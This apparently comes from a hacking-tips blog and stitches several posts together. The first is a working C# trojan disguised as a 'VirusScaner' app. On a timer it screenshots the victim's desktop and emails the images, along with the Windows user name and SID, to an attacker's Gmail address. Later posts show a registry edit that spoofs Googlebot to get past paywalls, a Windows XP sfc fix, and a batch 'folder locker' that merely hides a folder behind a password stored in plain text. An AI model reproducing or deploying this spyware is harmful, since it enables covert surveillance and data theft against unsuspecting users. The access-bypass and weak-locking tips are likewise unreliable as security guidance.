How to make Trojan Horse with C#













using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;

namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();

}
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;

case 24:
pFormat = PixelFormat.Format24bppRgb;
break;

case 32:
pFormat = PixelFormat.Format32bppArgb;
break;

default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write(ex.Message);
}

return "Send Sucessfully";
}
private void Form1_Load(object sender, EventArgs e)
{


}



private void timer1_Tick_1(object sender, EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}

How to Fix corrupted window XP files

How to fix corrupted windows file is very easy.Following these following steps


Requirements:

1. Windows XP CD
Now, follow this steps:
Step 1. Place the xp cd in your cd/dvd drive
Step 2. Go to start
Step 3. Run
Step 4. Type  sfc /scannow



Now sit back and relax, it should all load and fix all your corrupted file on win XP.Hope this method can fix your corrupted
xp system files.





“ If this Does Not Work Then You Need to Format The Computer as there would be Viruses in the
PC and you can can Also Use the antivirus if the Possible otherwise format the PC “.


Google Bot

Disguise as Google Bot to view Hidden Content of a Website





Have you ever experienced this? You ask Google to search something and it will return a lot of relevant search results, but
if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the
stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first. This means that
Google is able to see what a normal surfer cannot see.
The reason behind this is that Google uses a Bot called GoogleBot and most of websites which force users to register or
even pay in order to search and use their content, leave a backdoor open for the GoogleBot because a prominent
presence in Google searches is known to generate sales leads, site hits and exposure. Examples of such sites are Expert-
Exchange, Windows Magazine, .Net Magazine, Nature, and many other sites around the globe.
What if you could disguise as GoogleBot then you can also see what GoogleBot can.


How to Disguise as Google Bot?



It is quite simple. You just need to change your browser’s User Agent. To change your Browser’s User Agent follows the
steps given below:
Step 1:- Copy the following code segment into a notepad file and save it as Useragent.reg .



Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]
@=”Googlebot/2.1″
"Compatible”=”+http://www.googlebot.com/bot.html”
Step 2:-Now Double-Click on the file Useragent.reg to merge the registry file into your Windows Registry.
Step 3:- Now restart your computer. This is required to apply the changes made into the Registry.

Step 4:- Viola! You’re done! Now you have become Google Bot.




“This is For Educational purpose do not hack any website through this.”

How to make a private folder


Step 1:- Open the Notepad.exe
Step 2:- Copy the following code into the notepad.


Quote: cls
@ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDENTER PASSWORD TO OPEN
:CONFIRM
echo -----------------------------------------------------------
echo ====================================
echo -----------------------------------------------------------
echo Are you sure you want to lock the folder(Y/N)
echo Press (Y) for Yes and Press (N) for No.
echo -----------------------------------------------------------
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo -----------------------------------------------------------
echo ====================================
echo -----------------------------------------------------------
echo Enter password to unlock folder
set/p "pass=>"
if NOT %pass%== YOUR PASSWORD goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password

goto end
:MDENTER PASSWORD TO OPEN
md Private
echo Private created successfully
goto End
:End


Step 3:- Now change the password in the if NOT %pass%==YOUR PASSWORDgoto FAIL line replace text of Your
Password with your password for the folder lock.
Step 4:- Now save this file as locker.bat and you are done.
Step 5:- Now Open the Locker.bat file and enter your password to open a private folder of yours.
Step 6:- Now copy paste the files which you want to hide and make it secure in the private folder.
Step 7:- Now again open the Locker.bat file and press 'Y' to lock the private folder with your password.
Step 8:- Now to again open the secured files open the locker.bat file Enter your password and your files are there for you.